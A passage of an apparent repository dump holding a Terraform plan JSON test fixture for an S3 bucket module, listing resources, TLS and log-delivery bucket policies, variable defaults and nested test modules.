\"aws_s3_bucket_lifecycle_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_lifecycle_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"local.lifecycle_rules\"\n                  ]\n                },\n                \"depends_on\": [\n                  \"aws_s3_bucket_versioning.this\"\n                ]\n              },\n              {\n                \"address\": \"aws_s3_bucket_logging.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_logging\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"target_bucket\": {\n                    \"references\": [\n                      \"var.logging[\\\"target_bucket\\\"]\",\n                      \"var.logging\"\n                    ]\n                  },\n                  \"target_prefix\": {\n                    \"references\": [\n                      \"var.logging[\\\"target_prefix\\\"]\",\n                      \"var.logging\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.logging\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_object_lock_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_object_lock_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  },\n                  \"rule\": [\n                    {\n                      \"default_retention\": [\n                        {\n                          \"days\": {\n                            \"references\": [\n                              \"var.object_lock_configuration.rule.default_retention.days\",\n                              \"var.object_lock_configuration.rule.default_retention\",\n                              \"var.object_lock_configuration.rule\",\n                              \"var.object_lock_configuration\"\n                            ]\n                          },\n                          \"mode\": {\n                            \"references\": [\n                              \"var.object_lock_configuration.rule.default_retention.mode\",\n                              \"var.object_lock_configuration.rule.default_retention\",\n                              \"var.object_lock_configuration.rule\",\n                              \"var.object_lock_configuration\"\n                            ]\n                          },\n                          \"years\": {\n                            \"references\": [\n                              \"var.object_lock_configuration.rule.default_retention.years\",\n                              \"var.object_lock_configuration.rule.default_retention\",\n                              \"var.object_lock_configuration.rule\",\n                              \"var.object_lock_configuration\"\n                            ]\n                          }\n                        }\n                      ]\n                    }\n                  ],\n                  \"token\": {\n                    \"references\": [\n                      \"var.object_lock_configuration.token\",\n                      \"var.object_lock_configuration\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.object_lock_enabled\",\n                    \"var.object_lock_configuration.rule.default_retention\",\n                    \"var.object_lock_configuration.rule\",\n                    \"var.object_lock_configuration\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_ownership_controls.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_ownership_controls\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"local.attach_policy\",\n                      \"aws_s3_bucket_policy.this[0].id\",\n                      \"aws_s3_bucket_policy.this[0]\",\n                      \"aws_s3_bucket_policy.this\",\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"rule\": [\n                    {\n                      \"object_ownership\": {\n                        \"references\": [\n                          \"var.object_ownership\"\n                        ]\n                      }\n                    }\n                  ]\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.control_object_ownership\"\n                  ]\n                },\n                \"depends_on\": [\n                  \"aws_s3_bucket_policy.this\",\n                  \"aws_s3_bucket_public_access_block.this\",\n                  \"aws_s3_bucket.this\"\n                ]\n              },\n              {\n                \"address\": \"aws_s3_bucket_policy.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_policy\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"policy\": {\n                    \"references\": [\n                      \"data.aws_iam_policy_document.combined[0].json\",\n                      \"data.aws_iam_policy_document.combined[0]\",\n                      \"data.aws_iam_policy_document.combined\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"local.attach_policy\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_public_access_block.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_public_access_block\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"block_public_acls\": {\n                    \"references\": [\n                      \"var.block_public_acls\"\n                    ]\n                  },\n                  \"block_public_policy\": {\n                    \"references\": [\n                      \"var.block_public_policy\"\n                    ]\n                  },\n                  \"bucket\": {\n                    \"references\": [\n                      \"local.attach_policy\",\n                      \"aws_s3_bucket_policy.this[0].id\",\n                      \"aws_s3_bucket_policy.this[0]\",\n                      \"aws_s3_bucket_policy.this\",\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"ignore_public_acls\": {\n                    \"references\": [\n                      \"var.ignore_public_acls\"\n                    ]\n                  },\n                  \"restrict_public_buckets\": {\n                    \"references\": [\n                      \"var.restrict_public_buckets\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.attach_public_policy\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_replication_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_replication_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"role\": {\n                    \"references\": [\n                      \"var.replication_configuration[\\\"role\\\"]\",\n                      \"var.replication_configuration\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.replication_configuration\"\n                  ]\n                },\n                \"depends_on\": [\n                  \"aws_s3_bucket_versioning.this\"\n                ]\n              },\n              {\n                \"address\": \"aws_s3_bucket_request_payment_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_request_payment_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  },\n                  \"payer\": {\n                    \"references\": [\n                      \"var.request_payer\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.request_payer\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_server_side_encryption_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_server_side_encryption_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.server_side_encryption_configuration\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_versioning.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_versioning\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  },\n                  \"mfa\": {\n                    \"references\": [\n                      \"var.versioning[\\\"mfa\\\"]\",\n                      \"var.versioning\"\n                    ]\n                  },\n                  \"versioning_configuration\": [\n                    {\n                      \"mfa_delete\": {\n                        \"references\": [\n                          \"var.versioning[\\\"mfa_delete\\\"]\",\n                          \"var.versioning\",\n                          \"var.versioning[\\\"mfa_delete\\\"]\",\n                          \"var.versioning\"\n                        ]\n                      },\n                      \"status\": {\n                        \"references\": [\n                          \"var.versioning[\\\"enabled\\\"]\",\n                          \"var.versioning\",\n                          \"var.versioning[\\\"status\\\"]\",\n                          \"var.versioning\",\n                          \"var.versioning[\\\"status\\\"]\",\n                          \"var.versioning\"\n                        ]\n                      }\n                    }\n                  ]\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.versioning\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"aws_s3_bucket_website_configuration.this\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_website_configuration\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.this[0].id\",\n                      \"aws_s3_bucket.this[0]\",\n                      \"aws_s3_bucket.this\"\n                    ]\n                  },\n                  \"expected_bucket_owner\": {\n                    \"references\": [\n                      \"var.expected_bucket_owner\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.website\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"data.aws_canonical_user_id.this\",\n                \"mode\": \"data\",\n                \"type\": \"aws_canonical_user_id\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"schema_version\": 0\n              },\n              {\n                \"address\": \"data.aws_elb_service_account.this\",\n                \"mode\": \"data\",\n                \"type\": \"aws_elb_service_account\",\n                \"name\": \"this\",\n                \"provider_config_key\": \"aws\",\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.attach_elb_log_delivery_policy\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"data.aws_iam_policy_document.combined\",\n                \"mode\": \"data\",\n                \"type\": \"aws_iam_policy_document\",\n                \"name\": \"combined\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"source_policy_documents\": {\n                    \"references\": [\n                      \"var.attach_elb_log_delivery_policy\",\n                      \"data.aws_iam_policy_document.elb_log_delivery[0].json\",\n                      \"data.aws_iam_policy_document.elb_log_delivery[0]\",\n                      \"data.aws_iam_policy_document.elb_log_delivery\",\n                      \"var.attach_lb_log_delivery_policy\",\n                      \"data.aws_iam_policy_document.lb_log_delivery[0].json\",\n                      \"data.aws_iam_policy_document.lb_log_delivery[0]\",\n                      \"data.aws_iam_policy_document.lb_log_delivery\",\n                      \"var.attach_require_latest_tls_policy\",\n                      \"data.aws_iam_policy_document.require_latest_tls[0].json\",\n                      \"data.aws_iam_policy_document.require_latest_tls[0]\",\n                      \"data.aws_iam_policy_document.require_latest_tls\",\n                      \"var.attach_deny_insecure_transport_policy\",\n                      \"data.aws_iam_policy_document.deny_insecure_transport[0].json\",\n                      \"data.aws_iam_policy_document.deny_insecure_transport[0]\",\n                      \"data.aws_iam_policy_document.deny_insecure_transport\",\n                      \"var.attach_policy\",\n                      \"var.policy\"\n                    ]\n                  }\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"local.attach_policy\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"data.aws_iam_policy_document.deny_insecure_transport\",\n                \"mode\": \"data\",\n                \"type\": \"aws_iam_policy_document\",\n                \"name\": \"deny_insecure_transport\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"statement\": [\n                    {\n                      \"actions\": {\n                        \"constant_value\": [\n                          \"s3:*\"\n                        ]\n                      },\n                      \"condition\": [\n                        {\n                          \"test\": {\n                            \"constant_value\": \"Bool\"\n                          },\n                          \"values\": {\n                            \"constant_value\": [\n                              \"false\"\n                            ]\n                          },\n                          \"variable\": {\n                            \"constant_value\": \"aws:SecureTransport\"\n                          }\n                        }\n                      ],\n                      \"effect\": {\n                        \"constant_value\": \"Deny\"\n                      },\n                      \"principals\": [\n                        {\n                          \"identifiers\": {\n                            \"constant_value\": [\n                              \"*\"\n                            ]\n                          },\n                          \"type\": {\n                            \"constant_value\": \"*\"\n                          }\n                        }\n                      ],\n                      \"resources\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\",\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"sid\": {\n                        \"constant_value\": \"denyInsecureTransport\"\n                      }\n                    }\n                  ]\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.attach_deny_insecure_transport_policy\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"data.aws_iam_policy_document.elb_log_delivery\",\n                \"mode\": \"data\",\n                \"type\": \"aws_iam_policy_document\",\n                \"name\": \"elb_log_delivery\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"statement\": [\n                    {\n                      \"actions\": {\n                        \"constant_value\": [\n                          \"s3:PutObject\"\n                        ]\n                      },\n                      \"effect\": {\n                        \"constant_value\": \"Allow\"\n                      },\n                      \"principals\": [\n                        {\n                          \"identifiers\": {\n                            \"references\": [\n                              \"data.aws_elb_service_account.this\"\n                            ]\n                          },\n                          \"type\": {\n                            \"constant_value\": \"AWS\"\n                          }\n                        }\n                      ],\n                      \"resources\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"sid\": {\n                        \"constant_value\": \"\"\n                      }\n                    }\n                  ]\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.attach_elb_log_delivery_policy\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"data.aws_iam_policy_document.lb_log_delivery\",\n                \"mode\": \"data\",\n                \"type\": \"aws_iam_policy_document\",\n                \"name\": \"lb_log_delivery\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"statement\": [\n                    {\n                      \"actions\": {\n                        \"constant_value\": [\n                          \"s3:PutObject\"\n                        ]\n                      },\n                      \"condition\": [\n                        {\n                          \"test\": {\n                            \"constant_value\": \"StringEquals\"\n                          },\n                          \"values\": {\n                            \"constant_value\": [\n                              \"bucket-owner-full-control\"\n                            ]\n                          },\n                          \"variable\": {\n                            \"constant_value\": \"s3:x-amz-acl\"\n                          }\n                        }\n                      ],\n                      \"effect\": {\n                        \"constant_value\": \"Allow\"\n                      },\n                      \"principals\": [\n                        {\n                          \"identifiers\": {\n                            \"constant_value\": [\n                              \"delivery.logs.amazonaws.com\"\n                            ]\n                          },\n                          \"type\": {\n                            \"constant_value\": \"Service\"\n                          }\n                        }\n                      ],\n                      \"resources\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"sid\": {\n                        \"constant_value\": \"AWSLogDeliveryWrite\"\n                      }\n                    },\n                    {\n                      \"actions\": {\n                        \"constant_value\": [\n                          \"s3:GetBucketAcl\"\n                        ]\n                      },\n                      \"effect\": {\n                        \"constant_value\": \"Allow\"\n                      },\n                      \"principals\": [\n                        {\n                          \"identifiers\": {\n                            \"constant_value\": [\n                              \"delivery.logs.amazonaws.com\"\n                            ]\n                          },\n                          \"type\": {\n                            \"constant_value\": \"Service\"\n                          }\n                        }\n                      ],\n                      \"resources\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"sid\": {\n                        \"constant_value\": \"AWSLogDeliveryAclCheck\"\n                      }\n                    }\n                  ]\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.attach_lb_log_delivery_policy\"\n                  ]\n                }\n              },\n              {\n                \"address\": \"data.aws_iam_policy_document.require_latest_tls\",\n                \"mode\": \"data\",\n                \"type\": \"aws_iam_policy_document\",\n                \"name\": \"require_latest_tls\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"statement\": [\n                    {\n                      \"actions\": {\n                        \"constant_value\": [\n                          \"s3:*\"\n                        ]\n                      },\n                      \"condition\": [\n                        {\n                          \"test\": {\n                            \"constant_value\": \"NumericLessThan\"\n                          },\n                          \"values\": {\n                            \"constant_value\": [\n                              \"1.2\"\n                            ]\n                          },\n                          \"variable\": {\n                            \"constant_value\": \"s3:TlsVersion\"\n                          }\n                        }\n                      ],\n                      \"effect\": {\n                        \"constant_value\": \"Deny\"\n                      },\n                      \"principals\": [\n                        {\n                          \"identifiers\": {\n                            \"constant_value\": [\n                              \"*\"\n                            ]\n                          },\n                          \"type\": {\n                            \"constant_value\": \"*\"\n                          }\n                        }\n                      ],\n                      \"resources\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\",\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"sid\": {\n                        \"constant_value\": \"denyOutdatedTLS\"\n                      }\n                    }\n                  ]\n                },\n                \"schema_version\": 0,\n                \"count_expression\": {\n                  \"references\": [\n                    \"local.create_bucket\",\n                    \"var.attach_require_latest_tls_policy\"\n                  ]\n                }\n              }\n            ],\n            \"variables\": {\n              \"acceleration_status\": {\n                \"default\": null,\n                \"description\": \"(Optional) Sets the accelerate configuration of an existing bucket. Can be Enabled or Suspended.\"\n              },\n              \"acl\": {\n                \"default\": null,\n                \"description\": \"(Optional) The canned ACL to apply. Conflicts with `grant`\"\n              },\n              \"attach_deny_insecure_transport_policy\": {\n                \"default\": false,\n                \"description\": \"Controls if S3 bucket should have deny non-SSL transport policy attached\"\n              },\n              \"attach_elb_log_delivery_policy\": {\n                \"default\": false,\n                \"description\": \"Controls if S3 bucket should have ELB log delivery policy attached\"\n              },\n              \"attach_lb_log_delivery_policy\": {\n                \"default\": false,\n                \"description\": \"Controls if S3 bucket should have ALB/NLB log delivery policy attached\"\n              },\n              \"attach_policy\": {\n                \"default\": false,\n                \"description\": \"Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)\"\n              },\n              \"attach_public_policy\": {\n                \"default\": true,\n                \"description\": \"Controls if a user defined public bucket policy will be attached (set to `false` to allow upstream to apply defaults to the bucket)\"\n              },\n              \"attach_require_latest_tls_policy\": {\n                \"default\": false,\n                \"description\": \"Controls if S3 bucket should require the latest version of TLS\"\n              },\n              \"block_public_acls\": {\n                \"default\": false,\n                \"description\": \"Whether Amazon S3 should block public ACLs for this bucket.\"\n              },\n              \"block_public_policy\": {\n                \"default\": false,\n                \"description\": \"Whether Amazon S3 should block public bucket policies for this bucket.\"\n              },\n              \"bucket\": {\n                \"default\": null,\n                \"description\": \"(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name.\"\n              },\n              \"bucket_prefix\": {\n                \"default\": null,\n                \"description\": \"(Optional, Forces new resource) Creates a unique bucket name beginning with the specified prefix. Conflicts with bucket.\"\n              },\n              \"control_object_ownership\": {\n                \"default\": false,\n                \"description\": \"Whether to manage S3 Bucket Ownership Controls on this bucket.\"\n              },\n              \"cors_rule\": {\n                \"default\": [],\n                \"description\": \"List of maps containing rules for Cross-Origin Resource Sharing.\"\n              },\n              \"create_bucket\": {\n                \"default\": true,\n                \"description\": \"Controls if S3 bucket should be created\"\n              },\n              \"expected_bucket_owner\": {\n                \"default\": null,\n                \"description\": \"The account ID of the expected bucket owner\"\n              },\n              \"force_destroy\": {\n                \"default\": false,\n                \"description\": \"(Optional, Default:false ) A boolean that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable.\"\n              },\n              \"grant\": {\n                \"default\": [],\n                \"description\": \"An ACL policy grant. Conflicts with `acl`\"\n              },\n              \"ignore_public_acls\": {\n                \"default\": false,\n                \"description\": \"Whether Amazon S3 should ignore public ACLs for this bucket.\"\n              },\n              \"intelligent_tiering\": {\n                \"default\": {},\n                \"description\": \"Map containing intelligent tiering configuration.\"\n              },\n              \"lifecycle_rule\": {\n                \"default\": [],\n                \"description\": \"List of maps containing configuration of object lifecycle management.\"\n              },\n              \"logging\": {\n                \"default\": {},\n                \"description\": \"Map containing access bucket logging configuration.\"\n              },\n              \"object_lock_configuration\": {\n                \"default\": {},\n                \"description\": \"Map containing S3 object locking configuration.\"\n              },\n              \"object_lock_enabled\": {\n                \"default\": false,\n                \"description\": \"Whether S3 bucket should have an Object Lock configuration enabled.\"\n              },\n              \"object_ownership\": {\n                \"default\": \"ObjectWriter\",\n                \"description\": \"Object ownership. Valid values: BucketOwnerEnforced, BucketOwnerPreferred or ObjectWriter. 'BucketOwnerEnforced': ACLs are disabled, and the bucket owner automatically owns and has full control over every object in the bucket. 'BucketOwnerPreferred': Objects uploaded to the bucket change ownership to the bucket owner if the objects are uploaded with the bucket-owner-full-control canned ACL. 'ObjectWriter': The uploading account will own the object if the object is uploaded with the bucket-owner-full-control canned ACL.\"\n              },\n              \"owner\": {\n                \"default\": {},\n                \"description\": \"Bucket owner's display name and ID. Conflicts with `acl`\"\n              },\n              \"policy\": {\n                \"default\": null,\n                \"description\": \"(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide.\"\n              },\n              \"replication_configuration\": {\n                \"default\": {},\n                \"description\": \"Map containing cross-region replication configuration.\"\n              },\n              \"request_payer\": {\n                \"default\": null,\n                \"description\": \"(Optional) Specifies who should bear the cost of Amazon S3 data transfer. Can be either BucketOwner or Requester. By default, the owner of the S3 bucket would incur the costs of any data transfer. See Requester Pays Buckets developer guide for more information.\"\n              },\n              \"restrict_public_buckets\": {\n                \"default\": false,\n                \"description\": \"Whether Amazon S3 should restrict public bucket policies for this bucket.\"\n              },\n              \"server_side_encryption_configuration\": {\n                \"default\": {},\n                \"description\": \"Map containing server-side encryption configuration.\"\n              },\n              \"tags\": {\n                \"default\": {},\n                \"description\": \"(Optional) A mapping of tags to assign to the bucket.\"\n              },\n              \"versioning\": {\n                \"default\": {},\n                \"description\": \"Map containing versioning configuration.\"\n              },\n              \"website\": {\n                \"default\": {},\n                \"description\": \"Map containing static web-site hosting or redirect configuration.\"\n              }\n            }\n          }\n        },\n        \"s3_module\": {\n          \"source\": \"./module\",\n          \"module\": {\n            \"resources\": [\n              {\n                \"address\": \"aws_s3_bucket.module_bucket\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket\",\n                \"name\": \"module_bucket\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"bucket\": {\n                    \"constant_value\": \"testing\"\n                  }\n                },\n                \"schema_version\": 0\n              },\n              {\n                \"address\": \"aws_s3_bucket_public_access_block.module_bucket\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_s3_bucket_public_access_block\",\n                \"name\": \"module_bucket\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"block_public_acls\": {\n                    \"constant_value\": true\n                  },\n                  \"block_public_policy\": {\n                    \"constant_value\": true\n                  },\n                  \"bucket\": {\n                    \"references\": [\n                      \"aws_s3_bucket.module_bucket.id\",\n                      \"aws_s3_bucket.module_bucket\"\n                    ]\n                  },\n                  \"ignore_public_acls\": {\n                    \"constant_value\": true\n                  },\n                  \"restrict_public_buckets\": {\n                    \"constant_value\": true\n                  }\n                },\n                \"schema_version\": 0\n              }\n            ],\n            \"module_calls\": {\n              \"s3_submodule\": {\n                \"source\": \"./sub\",\n                \"module\": {\n                  \"resources\": [\n                    {\n                      \"address\": \"aws_s3_bucket.submodule_bucket\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket\",\n                      \"name\": \"submodule_bucket\",\n                      \"provider_config_key\": \"aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"constant_value\": \"testing\"\n                        }\n                      },\n                      \"schema_version\": 0\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_public_access_block.submodule_bucket\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_public_access_block\",\n                      \"name\": \"submodule_bucket\",\n                      \"provider_config_key\": \"aws\",\n                      \"expressions\": {\n                        \"block_public_acls\": {\n                          \"constant_value\": true\n                        },\n                        \"block_public_policy\": {\n                          \"constant_value\": true\n                        },\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.submodule_bucket.id\",\n                            \"aws_s3_bucket.submodule_bucket\"\n                          ]\n                        },\n                        \"ignore_public_acls\": {\n                          \"constant_value\": true\n                        },\n                        \"restrict_public_buckets\": {\n                          \"constant_value\": true\n                        }\n                      },\n                      \"schema_version\": 0\n                    }\n                  ]\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  },\n  \"relevant_attributes\": [\n    {\n      \"resource\": \"module.s3_module.module.s3_submodule.aws_s3_bucket.submodule_bucket\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket.this[0]\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.data.aws_canonical_user_id.this\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket.this[0]\",\n      \"attribute\": [\n        \"bucket_domain_name\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket_website_configuration.this[0]\",\n      \"attribute\": [\n        \"website_endpoint\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_module.aws_s3_bucket.module_bucket\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket_policy.this[0]\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket.this[0]\",\n      \"attribute\": [\n        \"bucket_regional_domain_name\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket.this[0]\",\n      \"attribute\": [\n        \"hosted_zone_id\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket.this[0]\",\n      \"attribute\": [\n        \"region\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket.this[0]\",\n      \"attribute\": [\n        \"arn\"\n      ]\n    },\n    {\n      \"resource\": \"module.s3_bucket.aws_s3_bucket_website_configuration.this[0]\",\n      \"attribute\": [\n        \"website_domain\"\n      ]\n    },\n    {\n      \"resource\": \"aws_s3_bucket.root_bucket\",\n      \"attribute\": [\n        \"id\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/runner/resources/plan_resources_ids/tfplan.json",
